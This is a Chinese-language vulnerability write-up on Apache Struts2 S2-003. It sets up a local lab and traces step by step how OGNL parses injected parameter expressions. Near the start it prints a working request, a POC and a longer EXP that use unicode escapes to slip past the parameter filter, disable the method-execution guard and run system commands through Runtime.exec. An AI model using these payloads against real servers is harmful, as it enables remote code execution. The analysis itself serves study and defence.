前言:

S2-003是第我审计的第二个java漏洞,其中核心还是围绕着OGNL表达式注入的利用,在我的”Struts2-S001”中以一种初学者的理解讲解了ognl表达式的用法,如果说S2-001的作用是让我大概了解了Struts2的执行流程,那么这次的S2-003让我深入了解了ognl的执行原理,网上对于S2-003的解释十分有限,内容不相同的文章就没有几篇,其中有一些我认为很复杂的概念没有讲出来,导致整个利用原理让人摸不着头脑,为什么payload形如(one)(two)?这些括号的意义是什么?为什么ognl就会解析one,而不会解析two呢,为什么(one)(two)(three)甚至是(one)(two)(three)(four)…也是可以成功执行的呢?这涉及以下几个核心概念,本篇文章会在恰当的地方进行解释.

1.什么是ASTchain,他长什么样?

2.ognl是如何解析各种类型的AST的

3.payload被解析为ASTchain后是什么一个形式

4.payload的解析顺序

0X01:利用过程&环境搭建

先写利用过程

1
2
GET /Struts2-s003/login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(mengda)(mengda)&(@java.lang.Runtime@getRuntime().exec('calc'))(mengda)(mengda) HTTP/1.1
Host: localhost:8080

POC:

1
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(mengda)(mengda)&(@java.lang.Runtime@getRuntime().exec('calc'))(mengda)(mengda)

EXP:

1
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

通过poc已经注意到了poc形如(one)(two)(three)形式,并且带有unicode编码,后面会详细分析

环境搭建

很多文章都没有写如何搭建环境,都是下载现成的,我觉得自己搭建环境对理解整个漏洞逻辑是非常有必要的,所以简单讲解了一下所需环境和所需配置文件,同样的使用idea的maven一键搭建即可

我们需要一个action,具体如何创建action百度”Struts2 action”,Struts2就好比j2ee的servlet,创建action是因为我们需要调用Struts2的doIntercept方法处理传参,而测试漏洞我们需要一个传参对象(login.action),这里我们创建一个login.action

虽然叫login.action但是并没有任何功能,源码如下

1
2
3
4
5
6
7
8
9
package demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class loginaction extends ActionSupport {
public loginaction(){
System.out.println("abd");
}
}

structs.xml如下:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="s2-003" extends="struts-default">
<action name="login" class="demo.action.loginaction">
<result>index.jsp</result>
</action>
</package>
</struts>

pom.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Struts2-s003</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<name>Struts2-s003</name>
<description>Struts 2 Starter</description>

<properties>
<struts2.version>2.0.11.1</struts2.version>
<log4j2.version>2.12.1</log4j2.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.11.1</version>
</dependency>
</dependencies>

<build>
<finalName>Struts2</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
<resources>
<resource>
<directory>main/java</directory>
<includes>
<include>**/*.xml</include>
</includes>
</resource>
</resources>
</build>
</project>

index.jsp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%--
Created by IntelliJ IDEA.
User: 17974
Date: 2022/1/23
Time: 14:57
To change this template use File | Settings | File Templates.
--%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-003</title>
</head>
<body>
<h2>S2-003 Demo</h2>
Success!
</body>
</html>

0X02:S2-003

触发点:

每个人对于漏洞的触发点理解不同,我认为触发点是开始执行恶意代码地方,也就是OgnlUtil.getValue或者OgnlUtil.setValue,与S2-001一样,只是我们通过不同的方法/路径,找到了控制参数的办法,最终的结果都是控制了OgnlUtil.getValue或这OgnlUtil.setValue的expr参数

按照我的理解整个S2-003的触发点位于调用了位于com.opensymphony.xwork2.util.OgnlValueStack.setValue方法中的

1
OgnlUtil.setValue(expr, context, root, value);

由于这个地方的expr可控,并且payload中使用unicode编码绕过了拦截器对特殊字符的拦截

让我们来看看这个expr参数是从何而来的

断点来到com.opensymphony.xwork2.interceptor.ParamatersInterceptor.doIntercept方法中代码段

155行处设置了

1
OgnlContextState.setDenyMethodExecution(contextMap, true);

Deny Method Execution顾名思义,拒绝方法执行,此处将这个值设置为true,也就是说我们等等需要修改这个地方为false才能允许我们方法执行从而执行静态方法

我们进入159行setParameters

来到setParameters方法里面看到186行,acceptableName(name)那么便是我们刚刚传进去的参数,这里是对参数进行一个判断,返回的是bool类型的值.

可以看到简单粗暴的判断了字符串中是否存在=,:#,在高一点的版本中这个地方是采用正则进行过滤的,但是不影响

由于我们的#采用unicode编码,所以这个地方就饶过了.

到这个地方就产生了一个疑问:为什么unicode编码可以被ongl表达式解析?后面会进行说明

绕过了acceptableName,就来到了193行的stack.setValue(name),进入setValue方法,便来到了触发点

158行调用 OnglUtil.setValue(expr,context,root,value)

到这个地方expr还是我们可控的,就是我们的参数,并且unicode编码没有被解析,那我们可以肯定unicode编码的解析是ognl完成的而不是struct,而到这个地方,整个漏洞对于Struct的解析已经完成了,因为执行这个ognl表达式全部都是ognl的事情,和struct没有关系.到这,我们就应该停一下.把对struct的分析转换到对Ognl表达式的分析来也是本篇文章的重点

0x03:OnglUtil.setValue(expr,context,root,value)

现在我们的目的就是找出一个expr,可以执行代码,可以修改上下文

tpis:上下文(context)

何为上下文?可以理解为一个临时环境变量,context是一个大的hashmap,需要用到的变量,值可以从里面取出

为什么叫上下文?举个例子,一篇小说,直接给你看一句话说主角死了,没有文章的上下文你就不知道前因后果,主角为什么死了?程序也是一样的,单独的一行代码而没有上下文你就不知道为什么要执行这行代码,这行代码的意义是配合之前的代码呢还是为下面即将运行的代码做准备,所以取了这么个名字.而在本次文章中,经常见到的context就是此次程序运行的上下文.

从struct中脱离出来,搭建本地环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package demo.action;
import com.opensymphony.xwork2.util.CompoundRoot;
import com.opensymphony.xwork2.util.OgnlUtil;
import ognl.OgnlContext;
import ognl.OgnlException;

public class main {
public static void main(String[] args) throws OgnlException {
OgnlContext context = new OgnlContext();#创建上下文
CompoundRoot root = new CompoundRoot();#创建root对象
context.put("flag",true);#往context中放入变量flag,值为true
try {
OgnlUtil.setValue("('#context[\\'flag\\']=false')('bla')('bla')",context,root,"");
}
finally {
System.out.println(context.get("flag"));#从context获取值
}
}
}

执行结果

可以看到成功修改了flag的值为false,但是同时也报错了,why?

接下来将深入对ognl表达式解析过程进行分析

跟进OgnlUtil.setValue

看到compile(name),compile的作用是生成一颗AST树,跟进

可以看到它调用了Ognl.parseExpression()去生成ASTchain,类型是ASTEval类型,可以看到,经过compline的转换后,原始的(one)(two)(three)被解析成了((one)(two))(three),因为只有这样才能满足下面的转换分配节点.

这个树长这样

带着这样一个AST树进入Ognl.setValue

将我们的ASTEval转换为Node类型,调用它的setValue(),继续跟进

紧接着调用evaluateSetValueBody

跟进:

此时this为((“#context['flag']=false”)(“bla”))(“bla”)也就是根节点

跟进141行调用根节点的setValueBody

注意,此时是进入了setValue的第35行,等等我们会回到这里(第一次注意)

此时调用childern[0]的getValue方法,childern[0]的值为(“#context['flag']=false”)(“bla”)

跟进,调用childern[0]的evaluateGetValueBody方法,注意,此时的evaluateGetValueBody方法是SimpleNode类中的,和上一步的evaluateGetValueBody不一样,因为此时childern[0]是一个node

此时的this,也就是chrildern[0]是(“#context['flag']=false”)(“bla”),它仍然是一个ASTevalchain,还可以被继续解析,所以在第130行判断是否为常量的时候直接返回false,继续调用(ASTEval)this.getValueBody

此时我们又进入了和刚刚一样的代码段,是因为我们在递归解析这个AST树,直到解析到没有AST树结构存在时才会停止,此时的childern[0]

是”#context['flag']=false”此时他已经是一个ASTConst了,调用getValue接着和上面一样调用evaluateGetValueBody

可以看到此时已经是ASTConst类型的数据了,进入if后将this.constantValue为true,131行进入的是ASTConst的getValueBody,里面直接返回了true,然后直接135行return

解析完毕左节点childern[0]后来到了之前的位置

此时解析childer[1],childern[1]的值是bla,也就是个字符串

和刚刚一样的调用栈,跟进getvalue,然后跟进evaluateGetValueBody,childern[1]是ASTConst类型的,直接return

回来了,此时source为”bla”

往下来到result = node.getValue(context,source)

此时node为#context[“flag”] = false,source为”bla”,node的类型为ASTAssign

调用node的getValue,然后调用evaluateGetValueBody

又来到这个熟悉的地方,不过此时this是ASTAssign,所以进入ASTAssing的getValueBody方法

可以看到此时children[0]是ASTChain,children[1]是ASTConst

此时result的值为false,调用children[0].setvalue,跟以前一样最终会调用ASTChain类型的setValueBody

注意(第二次注意):此时result的值是childern[1]的值,也就是我们payload中=右边的那个值,在这里被拆成ASTConst了,这个result是要返回的,返回到setValue的第35行,也就是我第一次说注意的那个地方的setvalue,这与为什么执行成功但是却报错了有直接关系

在ASTChain类型的setValueBody中调用ASTProperty的一个setValue,最终会调用到

进入setProperty

继续跟进accessor.setProperty

此时map就是我们的context,name就是flag,value是false

至此,就完成了对context中flag字段的值的修改

还没有结束,现在我们完成了对第一层childern[0]的解析,还有第一层childern[1]的解析

注意,此时是离开了setValue的第35行(第三次注意)

此时我们回来到了第一次进入的setValue方法,刚刚所有的都是在第35行里面进行的,现在执行完了第三十五行,回到这开始继续往下执行

此时的expr为刚刚返回的result,第二次注意已经说了所以此时expr的值等于payload中等号右边的值等于false

38行expr被转换为Node,但他并不是一个合法的ongl表达式,所以在第42行尝试调用node.setValue方法进行解析的时候直接就报错了并且报错信息为”321”不是一个正确的OGNL表达式

Exception in thread “main” ognl.InappropriateExpressionException: Inappropriate OGNL expression: 321

至此,整个调用过程就讲解完毕了

0X04:回到Struts2

1.为什么unicode编码能绕过?

因为在生成AST树的时候compile中使用了JavaCharStream来读取数据流,我发现了这样一段代码

当读取到\u时会继续读取四个字符,并将它们转换为char,这就解释了为什么unicode可以被解析成功了

2.编写payload

0X01中说了,刚开始的时候会将OgnlContextState.setDenyMethodExecution(contextMap, true);设为True,禁止我们执行方法,那首先就需要将他改成false

利用payload修改上下文

1
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(mengda)(mengda)

第二个参数执行静态方法

1
(@java.lang.Runtime@getRuntime().exec('calc'))(mengda)(mengda)

细心的同学可能发现了,这里payload后面两个括号时不带有’’的,是(mengda)而不是(‘mengda’)

因为不带引号在单独测试的环境中会报错,原因是在通过ASTProperty的getValueBody方法时,accessor类型为

ListPropertyAccessor导致的,原因不明,所以加不加引号对struct的复现没有影响,只是不加引号本地单独复现会报错

大概给大家看一下原因,这是ASTProperty的getValueBody方法

跟进getProperty

跟进getPropertyAccessor

可以发现此时的answer已经变成了ListPropertyAccessor

而加上引号的话此处就会变成MapPropertyAccessor

在struct环境中无论加不加引号此处的值都为CompoundRootAccessor